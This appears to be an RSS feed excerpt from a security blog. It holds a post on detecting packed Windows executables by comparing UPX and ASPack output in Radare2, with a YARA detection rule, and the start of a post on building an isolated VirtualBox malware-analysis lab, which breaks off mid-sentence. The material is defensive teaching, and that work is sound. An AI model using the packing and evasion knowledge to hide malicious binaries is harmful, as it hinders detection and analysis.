being used in this version but not in the unpacked version.&#xA;&#xA;[Imports]&#xA;nth vaddr      bind type lib                               name&#xA;―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――&#xA;1   0x00409290 NONE FUNC api-ms-win-crt-heap-l1-1-0.dll    setnewmode&#xA;1   0x00409298 NONE FUNC api-ms-win-crt-locale-l1-1-0.dll  configthreadlocale&#xA;1   0x004092a0 NONE FUNC api-ms-win-crt-math-l1-1-0.dll    _setusermatherr&#xA;1   0x004092a8 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll exit&#xA;1   0x004092b0 NONE FUNC api-ms-win-crt-stdio-l1-1-0.dll   setfmode&#xA;1   0x004092b8 NONE FUNC KERNEL32.DLL                      LoadLibraryA&#xA;2   0x004092bc NONE FUNC KERNEL32.DLL                      ExitProcess&#xA;3   0x004092c0 NONE FUNC KERNEL32.DLL                      GetProcAddress&#xA;4   0x004092c4 NONE FUNC KERNEL32.DLL                      VirtualProtect&#xA;1   0x004092cc NONE FUNC USER32.dll                        MessageBoxW&#xA;1   0x004092d4 NONE FUNC VCRUNTIME140.dll                  memset&#xA;&#xA;Checking for references to these functions show that none exist, meaning that they are most likely being dynamically loaded&#xA;&#xA;[0x00407e70]  axt 0x004092b8&#xA;[0x00407e70]  axt 0x004092c0&#xA;[0x00407e70]  axt 0x004092c4&#xA;[0x00407e70]  axt 0x004092cc&#xA;[0x00407e70]  The functions that exist within the binary are listed using the afl command, in the packed version it only shows two functions. Despite the program only having one function in the source code, it contains a lot more functions that the packed version does.&#xA;&#xA;0x00407e70   51    439 entry0&#xA;0x004071bb    3     37 fcn.004071bb&#xA;&#xA;Checking for where the function named fcn.004071bb is called shows that there is no reference. The entry0 function has several call instructions listed, which isn&#39;t uncommon, but can point to areas to analyze further when debugging.&#xA;&#xA;[0x00407e70]  axt 0x004071bb&#xA;[0x00407e70]  pdf @ entry0 ~ call&#xA;│     │╎╎   0x00407f8a      ff96b8820000   call dword [esi + 0x82b8]&#xA;│    ╎│ ╎   0x00407f9f      ff96c0820000   call dword [esi + 0x82c0]&#xA;│     │└──  0x00407fb0      ff96bc820000   call dword [esi + 0x82bc]&#xA;│       ╎   0x00407ffe      ffd5           call ebp&#xA;│       ╎   0x00408013      ffd5           call ebp&#xA;&#xA;Finally, analyzing the sample that was packed using ASPack, it shows a very different section table. It contains the same sections as the original version of the sample, but it adds the .aspack and .adata sections, and there is a higher level of entropy for those sections that match the original.&#xA;&#xA;[Sections]&#xA;&#xA;nth paddr         size vaddr        vsize perm entropy    type name&#xA;―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――&#xA;0   0x00000400   0xa00 0x00401000  0x1000 -rwx 7.31497939 ---- .text&#xA;1   0x00000e00   0x600 0x00402000  0x1000 -rw- 7.35641437 ---- .rdata&#xA;2   0x00001400   0x200 0x00403000  0x1000 -rw- 0.74297410 ---- .data&#xA;3   0x00001600   0x200 0x00404000  0x1000 -rw- 0.66525059 ---- .rsrc&#xA;4   0x00001800   0x200 0x00405000  0x1000 -rw- 4.86675397 ---- .reloc&#xA;5   0x00001a00  0x1400 0x00406000  0x2000 -rwx 6.17277319 ---- .aspack&#xA;6   0x00002e00     0x0 0x00408000  0x1000 -rwx            ---- .adata&#xA;&#xA;The libraries that are linked remain as the same 8 that the original version references.&#xA;&#xA;[Linked libraries]&#xA;kernel32.dll&#xA;user32.dll&#xA;vcruntime140.dll&#xA;api-ms-win-crt-runtime-l1-1-0.dll&#xA;api-ms-win-crt-math-l1-1-0.dll&#xA;api-ms-win-crt-stdio-l1-1-0.dll&#xA;api-ms-win-crt-locale-l1-1-0.dll&#xA;api-ms-win-crt-heap-l1-1-0.dll&#xA;&#xA;8 libraries&#xA;&#xA;However, checking the functions that are imported is more in line with the UPX packed version, with the difference being that it doesn&#39;t reference the ExitProcess and VirtualProtect functions.&#xA;&#xA;[Imports]&#xA;nth vaddr      bind type lib                               name&#xA;―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――&#xA;1   0x00406fd0 NONE FUNC kernel32.dll                      GetProcAddress&#xA;2   0x00406fd4 NONE FUNC kernel32.dll                      GetModuleHandleA&#xA;3   0x00406fd8 NONE FUNC kernel32.dll                      LoadLibraryA&#xA;1   0x00407191 NONE FUNC user32.dll                        MessageBoxW&#xA;1   0x00407199 NONE FUNC vcruntime140.dll                  currentexception&#xA;1   0x004071a1 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll crtatexit&#xA;1   0x004071a9 NONE FUNC api-ms-win-crt-math-l1-1-0.dll    _setusermatherr&#xA;1   0x004071b1 NONE FUNC api-ms-win-crt-stdio-l1-1-0.dll   setfmode&#xA;1   0x004071b9 NONE FUNC api-ms-win-crt-locale-l1-1-0.dll  configthreadlocale&#xA;1   0x004071c1 NONE FUNC api-ms-win-crt-heap-l1-1-0.dll    setnew_mode&#xA;&#xA;Checking the list of functions, it does appear to contain more functions than the UPX packed version&#xA;&#xA;0x00406001    1     11 entry0&#xA;0x00406014    9    118 fcn.00406014&#xA;0x004066e0    5    106 fcn.004066e0&#xA;0x00406a9c    3    126 fcn.00406a9c&#xA;0x00406d0a    1     14 fcn.00406d0a&#xA;0x00406827    1     37 fcn.00406827&#xA;0x00406b1a    1     97 fcn.00406b1a&#xA;0x00406b7b   33    399 fcn.00406b7b&#xA;0x00406d18   29    664 fcn.00406d18&#xA;0x004067bc    5    107 fcn.004067bc&#xA;0x0040684c   15    380 fcn.0040684c&#xA;0x004069c8   14    212 fcn.004069c8&#xA;&#xA;Based on this static analysis, which allows for the comparison of two packing tools, it becomes evident that the UPX packer provides several indicators that make detecting a packed binary relatively easier. These indicators are not necessarily easy to obfuscate. On the other hand, the ASPacker presents a somewhat simpler situation by adding only two sections that could potentially be renamed in an attempt to avoid detection. It&#39;s important to note that this analysis didn&#39;t include all aspects of the header that can reveal the packed nature of binaries. However, having the original binary for comparison greatly aids in understanding the changes that occur, although this may not always be the case when dealing with samples found in the wild.&#xA;&#xA;In an upcoming post, I will explore the process of extracting unpacked data through dynamic analysis using a debugger. Dynamic analysis is a powerful technique that allows observation of how a packed binary behaves when executed, providing insights into its inner workings and uncovering potential security threats. Debugging tools enable stepping through the code, analyzing memory structures, and gaining a deeper understanding of the program&#39;s runtime behavior.&#xA;&#xA;As this discussion on packing techniques and analysis concludes, it becomes evident that understanding the intricacies of packing is essential for both cybersecurity professionals and malware analysts. Whether detecting the telltale signs of packing or dynamically analyzing a binary, these skills are invaluable in the ever-evolving landscape of cybersecurity.]]&gt;</description>
      <content:encoded><![CDATA[<p>Packing is a technique used by software developers to reduce the size of executables, obfuscate machine code with the intention of protecting intellectual property, among other reasons. These are just some of the legitimate uses for implementing this technique on executables and other similar binary files. Malware developers also utilize this technique to prevent their malicious executables from being easily detected and to make it more difficult for analysis.</p>

<p>The process of packing an executable depends on the intended goal, which could be compression, obfuscation, encryption, or a combination of these techniques. Regardless of the extent of modifications made, the executable&#39;s structure is altered to incorporate the essential code for unpacking the machine code in memory during program execution on the user&#39;s system. Additionally, it includes the necessary data for the program.</p>



<p>There are both open-source and commercial packers available. These tools often insert strings or name the sections containing the unpacking sequence in a specific manner, which can be used to identify the packer that was used. However, some malware developers may devise their own packing techniques or tools. They may also alter section names or remove the strings added by well-known packers to make it even more challenging for malware analysts to determine which packer was employed.</p>

<p>A packing process typically involves several steps, which can vary depending on the specific tools and the purpose of implementation. The general process encompasses the following stages:</p>
<ul><li>Compression: The original executable undergoes compression using an algorithm to reduce its size.</li>
<li>Encryption: An additional layer of protection is applied using a specific key or algorithm.</li>
<li>Header modification: Changes are made to reflect the alterations and ensure the executable remains valid. This often includes markers for identifying the packer used.</li>
<li>Runtime Decryption/Decompression: Code necessary for extracting the original executable into memory is added to the new file, serving as the new entry point for the program.</li>
<li>Anti-analysis measures: Some packing tools may employ techniques to deter analysis, debugging, or emulation, aiming to hinder the examination of the original code.</li>
<li>Execution flow control: Essential instructions are incorporated to manage the execution flow, ensuring seamless execution of the original code.</li></ul>

<p>Additionally, some packing tools may include extra code to dynamically alter behavior during execution, making it more challenging for an analyst to discern the actions taken by the malware.</p>

<h2 id="detecting-packing" id="detecting-packing">Detecting Packing</h2>

<p>One important aspect is to determine whether a sample being analyzed is packed or not, since this determines the approach to the analysis of the binary file. While most analysis tools can identify whether the binary is packed and which packing program was used, it remains beneficial to understand how to analyze such files.</p>

<p>Tools capable of detecting packed binaries often rely on signatures, which are patterns or identifying strings inserted by packers and are widely recognized. The following Yara rule can be used to identify binaries packed with <a href="https://github.com/kartik2309/RLPack">RLPack</a>.</p>

<pre><code class="language-yaml">rule rlpack {
    meta:
        description = &#34;RLPack packed file&#34;
        block = false
        quarantine = false

    strings:
        $mz = &#34;MZ&#34;
        $text1 = &#34;.packed\x00&#34;
        $text2 = &#34;.RLPack\x00&#34;

    condition:
        $mz at 0 and $text1 in (0..1024) and $text2 in (0..1024)
}
</code></pre>

<p>Signatures can be created based on various elements, including section names, header values, structure, and the Import Address Table (IAT) of the binary generated by the packer software. Packers often introduce sections with specific names and characteristics. While some packers only display sections specific to the packer itself, others add the necessary sections to the list of sections that exist in the original binary. While this can assist in identifying the tool used, developers can also change the names of these sections without modifying the packer&#39;s code or the resulting binary. Despite the possibility of section name changes, the respective sections and other characteristics remain the same, and this information is used to determine which packer was employed.</p>

<p>Similarly, the header can be analyzed to determine the packer used. While the header&#39;s structure may vary depending on the original binary, packers often introduce values or set the header to a specific structure. The section headers specify both the size of data as it occupies on disk and its size when loaded into memory. A significant difference between these two values can indicate that the data is uncompressed or decrypted in memory. For instance, the UPX packer stores all data in one section, which has a size of zero on disk. However, when loaded into memory, the section expands to a larger size, encompassing the entire program.</p>

<p>The Import Address Table (IAT) is a structure within the PE header that specifies the list of functions or procedures imported from dynamic link libraries (DLLs). This allows the executable to locate and access the required functions at runtime. ELF binaries use the Procedure Linkage Table (PLT) and Global Offset Table (GOT) to achieve a similar purpose as the IAT in PE files. These structures differ in design and function, but they share the goal of importing functions or procedures from external libraries. Packers have specific functions that they call, which they may do by directly linking to external libraries or by dynamically resolving API calls. As a result, the import tables will have a specific set of functions or procedures listed or may have an incomplete list.</p>

<p>While the aspects mentioned above are considered during static analysis, dynamic analysis is also employed to assess the packing techniques in use. This involves using a debugger and disassembly to identify the instructions and flow of the binary. Dynamic analysis is particularly useful for extracting unpacked code when it resides in memory. It&#39;s important to note that the extracted program will require additional steps to become a valid executable on disk for further analysis and won&#39;t exactly match the original version of the binary file.</p>

<p>Let&#39;s examine an example binary that has been packed using <a href="https://upx.github.io/">UPX</a> and <a href="http://www.aspack.com/">ASPack</a> to better understand the differences. This example is a Windows PE program that, when executed, displays a message box and performs no other actions.</p>

<p>The source code of this program is only the lines shown below, any additional functions and data is added by the compiler. This program was compiled in Microsoft Visual Studio 2022.</p>

<pre><code class="language-cpp">#include &lt;Windows.h&gt;

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    MessageBox(NULL, L&#34;Hello there! - General Kenobi&#34;, L&#34;Star Wars Quote&#34;, MB_OK | MB_ICONINFORMATION);
    return 0;
}
</code></pre>

<p>For the analysis phase, <a href="https://radare.org/">Radare2</a> is used, but any other tool can be used to achieve the same results. The original binary file is initially examined to establish a baseline. The sections are displayed using the <code>iS</code> command, the entropy of each section is displayed by adding the parameter <code>entropy</code> to the command.</p>

<pre><code class="language-text">[Sections]

nth paddr        size vaddr        vsize perm entropy    type name
――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000400  0xe00 0x00401000  0x1000 -r-x 5.92845120 ---- .text
1   0x00001200  0xc00 0x00402000  0x1000 -r-- 4.55813641 ---- .rdata
2   0x00001e00  0x200 0x00403000  0x1000 -rw- 0.28040117 ---- .data
3   0x00002000  0x200 0x00404000  0x1000 -r-- 4.70150326 ---- .rsrc
4   0x00002200  0x200 0x00405000  0x1000 -r-- 4.86675397 ---- .reloc
</code></pre>

<p>There are several sections that are listed, the <code>size</code> refers to the amount of space consumed by the section on disk, while the <code>vsize</code> refers to the amount of space that is allocated in memory for the program. The difference between these 2 sizes is small, with the sizes ranging from 512 bytes to 3.5 Kilobytes for the size on disk, while the memory allocated for each of the sections is for 4 Kilobytes. This is not a big enough difference to point to packing being used.</p>

<p>The entropy can be used to determine the level of randomness that exists in the section, these values will be compared later on when the packed samples are analyzed.</p>

<p>The linked libraries are listed using the command <code>il</code>, for this program there are only 8 DLLs that are linked and none are suspicious</p>

<pre><code class="language-text">[Linked libraries]
user32.dll
vcruntime140.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
kernel32.dll

8 libraries
</code></pre>

<p>The functions that are imported from these libraries can be listed with the <code>ii</code> command. The only function that was specified in the source code used for this program is <code>MessageBoxW</code>, the other functions are listed because they are used by other parts of the program that get added by the compiler and aren&#39;t necessarily used.</p>

<pre><code class="language-text">[Imports]
nth vaddr      bind type lib                               name
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
1   0x00402038 NONE FUNC USER32.dll                        MessageBoxW
1   0x00402040 NONE FUNC VCRUNTIME140.dll                  __current_exception
2   0x00402044 NONE FUNC VCRUNTIME140.dll                  _except_handler4_common
3   0x00402048 NONE FUNC VCRUNTIME140.dll                  __current_exception_context
4   0x0040204c NONE FUNC VCRUNTIME140.dll                  memset
1   0x0040206c NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll _crt_atexit
2   0x00402070 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll _cexit
3   0x00402074 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll terminate
4   0x00402078 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll _register_onexit_function
5   0x0040207c NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll _register_thread_local_exe_atexit_callback
6   0x00402080 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll _exit
7   0x00402084 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll _initterm
8   0x00402088 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll _get_narrow_winmain_command_line
9   0x0040208c NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll _initialize_narrow_environment
10  0x00402090 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll _configure_narrow_argv
11  0x00402094 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll _c_exit
12  0x00402098 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll _set_app_type
13  0x0040209c NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll _seh_filter_exe
14  0x004020a0 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll _initialize_onexit_table
15  0x004020a4 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll exit
16  0x004020a8 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll _controlfp_s
17  0x004020ac NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll _initterm_e
1   0x00402064 NONE FUNC api-ms-win-crt-math-l1-1-0.dll    __setusermatherr
1   0x004020b4 NONE FUNC api-ms-win-crt-stdio-l1-1-0.dll   _set_fmode
2   0x004020b8 NONE FUNC api-ms-win-crt-stdio-l1-1-0.dll   __p__commode
1   0x0040205c NONE FUNC api-ms-win-crt-locale-l1-1-0.dll  _configthreadlocale
1   0x00402054 NONE FUNC api-ms-win-crt-heap-l1-1-0.dll    _set_new_mode
1   0x00402000 NONE FUNC KERNEL32.dll                      GetCurrentProcessId
2   0x00402004 NONE FUNC KERNEL32.dll                      GetModuleHandleW
3   0x00402008 NONE FUNC KERNEL32.dll                      GetStartupInfoW
4   0x0040200c NONE FUNC KERNEL32.dll                      IsDebuggerPresent
5   0x00402010 NONE FUNC KERNEL32.dll                      InitializeSListHead
6   0x00402014 NONE FUNC KERNEL32.dll                      GetSystemTimeAsFileTime
7   0x00402018 NONE FUNC KERNEL32.dll                      GetCurrentThreadId
8   0x0040201c NONE FUNC KERNEL32.dll                      UnhandledExceptionFilter
9   0x00402020 NONE FUNC KERNEL32.dll                      QueryPerformanceCounter
10  0x00402024 NONE FUNC KERNEL32.dll                      IsProcessorFeaturePresent
11  0x00402028 NONE FUNC KERNEL32.dll                      TerminateProcess
12  0x0040202c NONE FUNC KERNEL32.dll                      GetCurrentProcess
13  0x00402030 NONE FUNC KERNEL32.dll                      SetUnhandledExceptionFilter
</code></pre>

<p>Looking at the list of functions, there are some that may generate some concern and are often used by malware for different reasons. One of these functions is <code>IsDebuggerPresent</code>, which can be used by malware as an anti-analysis technique. The command <code>axt</code> can be used to check where the function is being called, the address of the function is used as the argument for the command.</p>

<pre><code class="language-text">[0x00401268]&gt; axt 0x0040200c
fcn.004016fe 0x4017d6 [CALL:--x] call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
</code></pre>

<p>If this sample was a potential malware, then it would be necessary to determine what makes the call to this function, however, this is outside of the scope of this blog post.</p>

<p>Loading the sample that is packed with UPX into Radare2 and displaying the sections that the PE binary has shows a very different story.</p>

<pre><code class="language-text">[Sections]

nth paddr         size vaddr        vsize perm entropy    type name
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000400     0x0 0x00401000  0x6000 -rwx            ---- UPX0
1   0x00000400  0x1200 0x00407000  0x2000 -rwx 7.32773884 ---- UPX1
2   0x00001600   0x600 0x00409000  0x1000 -rw- 3.88507214 ---- .rsrc
</code></pre>

<p>This program consists of only three sections. Two of these sections, namely <code>UPX0</code> and <code>UPX1</code>, immediately indicate the packer used.</p>

<p>The <code>UPX0</code> section has a size of 0 bytes on disk but allocates 24 Kilobytes when loaded into memory. This significant difference raises concerns. Furthermore, this section possesses read, write, and execute permissions, allowing it to be altered during runtime.</p>

<p>The <code>UPX1</code> section exhibits high entropy compared to the unpacked version, which is unusual. Additionally, it has all permissions, which is not a typical configuration.</p>

<p>The libraries that are linked to the executable are the same as the unpacked version.</p>

<pre><code class="language-text">[Linked libraries]
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
kernel32.dll
user32.dll
vcruntime140.dll

8 libraries
</code></pre>

<p>However, the difference is significant when listing the imported functions, with the list being shorter and showing the calls to the <code>LoadLibraryA</code>, <code>GetProcAddress</code>, and <code>VirtualProtect</code> being used in this version but not in the unpacked version.</p>

<pre><code class="language-text">[Imports]
nth vaddr      bind type lib                               name
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
1   0x00409290 NONE FUNC api-ms-win-crt-heap-l1-1-0.dll    _set_new_mode
1   0x00409298 NONE FUNC api-ms-win-crt-locale-l1-1-0.dll  _configthreadlocale
1   0x004092a0 NONE FUNC api-ms-win-crt-math-l1-1-0.dll    __setusermatherr
1   0x004092a8 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll exit
1   0x004092b0 NONE FUNC api-ms-win-crt-stdio-l1-1-0.dll   _set_fmode
1   0x004092b8 NONE FUNC KERNEL32.DLL                      LoadLibraryA
2   0x004092bc NONE FUNC KERNEL32.DLL                      ExitProcess
3   0x004092c0 NONE FUNC KERNEL32.DLL                      GetProcAddress
4   0x004092c4 NONE FUNC KERNEL32.DLL                      VirtualProtect
1   0x004092cc NONE FUNC USER32.dll                        MessageBoxW
1   0x004092d4 NONE FUNC VCRUNTIME140.dll                  memset
</code></pre>

<p>Checking for references to these functions show that none exist, meaning that they are most likely being dynamically loaded</p>

<pre><code class="language-text">[0x00407e70]&gt; axt 0x004092b8
[0x00407e70]&gt; axt 0x004092c0
[0x00407e70]&gt; axt 0x004092c4
[0x00407e70]&gt; axt 0x004092cc
[0x00407e70]&gt;
</code></pre>

<p>The functions that exist within the binary are listed using the <code>afl</code> command, in the packed version it only shows two functions. Despite the program only having one function in the source code, it contains a lot more functions that the packed version does.</p>

<pre><code class="language-text">0x00407e70   51    439 entry0
0x004071bb    3     37 fcn.004071bb
</code></pre>

<p>Checking for where the function named <code>fcn.004071bb</code> is called shows that there is no reference. The <code>entry0</code> function has several call instructions listed, which isn&#39;t uncommon, but can point to areas to analyze further when debugging.</p>

<pre><code class="language-text">[0x00407e70]&gt; axt 0x004071bb
[0x00407e70]&gt; pdf @ entry0 ~ call
│     │╎╎   0x00407f8a      ff96b8820000   call dword [esi + 0x82b8]
│    ╎│ ╎   0x00407f9f      ff96c0820000   call dword [esi + 0x82c0]
│     │└──&gt; 0x00407fb0      ff96bc820000   call dword [esi + 0x82bc]
│       ╎   0x00407ffe      ffd5           call ebp
│       ╎   0x00408013      ffd5           call ebp
</code></pre>

<p>Finally, analyzing the sample that was packed using ASPack, it shows a very different section table. It contains the same sections as the original version of the sample, but it adds the <code>.aspack</code> and <code>.adata</code> sections, and there is a higher level of entropy for those sections that match the original.</p>

<pre><code class="language-text">[Sections]

nth paddr         size vaddr        vsize perm entropy    type name
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000400   0xa00 0x00401000  0x1000 -rwx 7.31497939 ---- .text
1   0x00000e00   0x600 0x00402000  0x1000 -rw- 7.35641437 ---- .rdata
2   0x00001400   0x200 0x00403000  0x1000 -rw- 0.74297410 ---- .data
3   0x00001600   0x200 0x00404000  0x1000 -rw- 0.66525059 ---- .rsrc
4   0x00001800   0x200 0x00405000  0x1000 -rw- 4.86675397 ---- .reloc
5   0x00001a00  0x1400 0x00406000  0x2000 -rwx 6.17277319 ---- .aspack
6   0x00002e00     0x0 0x00408000  0x1000 -rwx            ---- .adata
</code></pre>

<p>The libraries that are linked remain as the same 8 that the original version references.</p>

<pre><code class="language-text">[Linked libraries]
kernel32.dll
user32.dll
vcruntime140.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll

8 libraries
</code></pre>

<p>However, checking the functions that are imported is more in line with the UPX packed version, with the difference being that it doesn&#39;t reference the <code>ExitProcess</code> and <code>VirtualProtect</code> functions.</p>

<pre><code class="language-text">[Imports]
nth vaddr      bind type lib                               name
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
1   0x00406fd0 NONE FUNC kernel32.dll                      GetProcAddress
2   0x00406fd4 NONE FUNC kernel32.dll                      GetModuleHandleA
3   0x00406fd8 NONE FUNC kernel32.dll                      LoadLibraryA
1   0x00407191 NONE FUNC user32.dll                        MessageBoxW
1   0x00407199 NONE FUNC vcruntime140.dll                  __current_exception
1   0x004071a1 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll _crt_atexit
1   0x004071a9 NONE FUNC api-ms-win-crt-math-l1-1-0.dll    __setusermatherr
1   0x004071b1 NONE FUNC api-ms-win-crt-stdio-l1-1-0.dll   _set_fmode
1   0x004071b9 NONE FUNC api-ms-win-crt-locale-l1-1-0.dll  _configthreadlocale
1   0x004071c1 NONE FUNC api-ms-win-crt-heap-l1-1-0.dll    _set_new_mode
</code></pre>

<p>Checking the list of functions, it does appear to contain more functions than the UPX packed version</p>

<pre><code class="language-text">0x00406001    1     11 entry0
0x00406014    9    118 fcn.00406014
0x004066e0    5    106 fcn.004066e0
0x00406a9c    3    126 fcn.00406a9c
0x00406d0a    1     14 fcn.00406d0a
0x00406827    1     37 fcn.00406827
0x00406b1a    1     97 fcn.00406b1a
0x00406b7b   33    399 fcn.00406b7b
0x00406d18   29    664 fcn.00406d18
0x004067bc    5    107 fcn.004067bc
0x0040684c   15    380 fcn.0040684c
0x004069c8   14    212 fcn.004069c8
</code></pre>

<p>Based on this static analysis, which allows for the comparison of two packing tools, it becomes evident that the UPX packer provides several indicators that make detecting a packed binary relatively easier. These indicators are not necessarily easy to obfuscate. On the other hand, the ASPacker presents a somewhat simpler situation by adding only two sections that could potentially be renamed in an attempt to avoid detection. It&#39;s important to note that this analysis didn&#39;t include all aspects of the header that can reveal the packed nature of binaries. However, having the original binary for comparison greatly aids in understanding the changes that occur, although this may not always be the case when dealing with samples found in the wild.</p>

<p>In an upcoming post, I will explore the process of extracting unpacked data through dynamic analysis using a debugger. Dynamic analysis is a powerful technique that allows observation of how a packed binary behaves when executed, providing insights into its inner workings and uncovering potential security threats. Debugging tools enable stepping through the code, analyzing memory structures, and gaining a deeper understanding of the program&#39;s runtime behavior.</p>

<p>As this discussion on packing techniques and analysis concludes, it becomes evident that understanding the intricacies of packing is essential for both cybersecurity professionals and malware analysts. Whether detecting the telltale signs of packing or dynamically analyzing a binary, these skills are invaluable in the ever-evolving landscape of cybersecurity.</p>
]]></content:encoded>
      <guid>https://codebeta.com/analyzing-packed-binaries</guid>
      <pubDate>Sat, 23 Sep 2023 23:17:22 +0000</pubDate>
    </item>
    <item>
      <title>Malware Analysis Lab Build</title>
      <link>https://codebeta.com/malware-analysis-lab-build?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[Learning the craft of malware analysis requires for a lab to be built that allows for the malicious binaries and files to be safely analyzed and executed. This lab often involved multiple virtual machines that are able to interact with each other but not with any other computers on the network where the host OS resides or with the Internet, this means that it is necessary to create an isolated network that only those virtual machines can reach.&#xA;&#xA;VirtualBox is one of the most common hypervisors that are used since it&#39;s free and runs in the most popular operating systems, it also has the features to configure the network that the virtual machines can use and generate snapshots of the virtual machine state.&#xA;&#xA;In this post, the creation of the lab that uses VirtualBox and an isolated network is detailed. For the network configuration, the Internal Network is used and a DHCP server is configured in VirtualBox to hand out the IP addresses to the hosts, this is where this lab varies from other setups that I&#39;ve seen.&#xA;&#xA;!--more--&#xA;&#xA;Windows Host&#xA;&#xA;Most malware is created for the Windows OS, this means that it is necessary to create a virtual machine that runs this OS and has the necessary tools for analyzing the malware.&#xA;&#xA;The Windows 10 ISO can be downloaded from the Microsoft Evaluation Center, the Windows 11 ISO is also available on the same site. For the lab setup detailed here, a Windows 10 VM is going to be used, however, it is also possible to use Windows 11.&#xA;&#xA;The virtual machine that is created with the Name of FlareVM, this can be anything and doesn&#39;t affect the rest of the lab build, then set the Type to Microsoft Windows and the Version to Windows 10 (64-bit). The amount of memory to reserve for the virtual machine will vary depending on the available memory for the host system, setting this to 4 GB (4096 MB) is generally a good amount to work with. The Hard disk size can be set to a minimum of 60 GB, though I usually set this to 100 GB.&#xA;&#xA;VirtualBox - Create Virtual Machine&#xA;&#xA;After the virtual machine is created, I make some additional changes to the configuration prior to starting the machine for the first time&#xA;&#xA;In the System section, the EFI is enabled, though this isn&#39;t required since the legacy BIOS can also be used&#xA;&#xA;Enable EFI&#xA;&#xA;In the Processor tab, these settings will depend on the available resources of the host system. I set the processor count to 2 and also enable the PAE/NX and the Nested VT-x/AMD-V.&#xA;&#xA;Set Processor Configuration&#xA;&#xA;For the Display section, increase the Video Memory to 128 MB, which is the highest available when not enabling the 3D Acceleration. I also leave the 3D Acceleration disabled as I&#39;ve found that it tends to generate display issues in Windows 10.&#xA;&#xA;Set Video Memory&#xA;&#xA;All other options can be left in their default configuration. The virtual machine can now be started and Windows 10 installed as normal, during the installation process disconnect the network cable from the virtual machine, this can be done by right clicking on the network icon on the bottom of the virtual machine window and unchecking the Connect network adapter option, this to avoid Windows from attempting to install updates and require a Microsoft 365 account for creating the user account.&#xA;&#xA;After the Windows 10 OS has been installed, power off the system and create a snapshot of the virtual machine to have a restore point that can be used if necessary. The snapshot can be created with the following steps&#xA;&#xA;Click on the Tools menu button that is found on the right side of the virtual machine entry in the VirtualBox main window&#xA;Select the Snapshots option from the menu&#xA;Click on the Take button from the toolbar, a window is displayed where a name can be given to the snapshot and a description&#xA;&#xA;VirtualBox - Create Snapshot&#xA;&#xA;Start the Windows 10 virtual machine again and follow the steps mentioned in the Flare-VM repository to install the tools that will be used for malware analysis within the Windows 10 virtual machine. This process will require for a connection to the Internet, so be sure to enable the network connectivity.&#xA;&#xA;REMNux&#xA;&#xA;The other virtual machine that is created is the GNU/Linux distribution called REMnux, which is a distribution that contains several tools that can be used for malware analysis and reverse engineering.&#xA;&#xA;The virtual appliance can be downloaded from the REMnux Documentation, there is a VirtualBox OVA file that is downloaded and has the virtual machine already setup.&#xA;&#xA;While the virtual machine can be used as is, I recommend reviewing the settings to increase the Processor, Memory, and Display resources to increase the configuration depending on the available resources of the host system.&#xA;&#xA;Isolated Network Setup&#xA;&#xA;Once the virtual machines have been installed and are ready to be isolated, the Internal Network can be created in VirtualBox. Setting up the DHCP Server that will be used can only be done through the CLI by using the VBoxManage command.&#xA;&#xA;The first command that is executed is to create the DHCP Server&#xA;&#xA;VBoxManage dhcpserver add --network malwarelab --ip 10.0.0.1 --netmask 255.255.255.0 --lowerip 10.0.0.10 --upperip 10.0.0.100&#xA;&#xA;Breaking down the command to detail each of the options that are specified&#xA;&#xA;--network specifies the name that the network receives and that is used to reference the network when configuring the virtual machines or the network&#xA;--ip specifies the IP address that the DHCP server uses, can be either set to the first or last address in the subnet range, this is an IP address that no other virtual machine can use&#xA;--netmask sets the network mask that is used for the subnet, even though there are only two virtual machines that are created, other machines can be added to analyze more complex samples or certain behavior, so leaving this to a large netmask is ok&#xA;--lowerip specifies the start of the range of IP addresses that can be assigned to the hosts that make the DHCP request&#xA;--upperip specifies the end of the range of available IP address for assigning, in this sample command there are 90 IP addresses in the pool and this should be enough&#xA;&#xA;At this point the initial configuration is created, however, there are a couple of DHCP options that need to be set in order to use the REMnux virtual machine to capture any outbound requests that are made from the Windows 10 virtual machine. The command below sets the DNS and Default Gateway parameters so that the Windows 10 host sends any requests to the 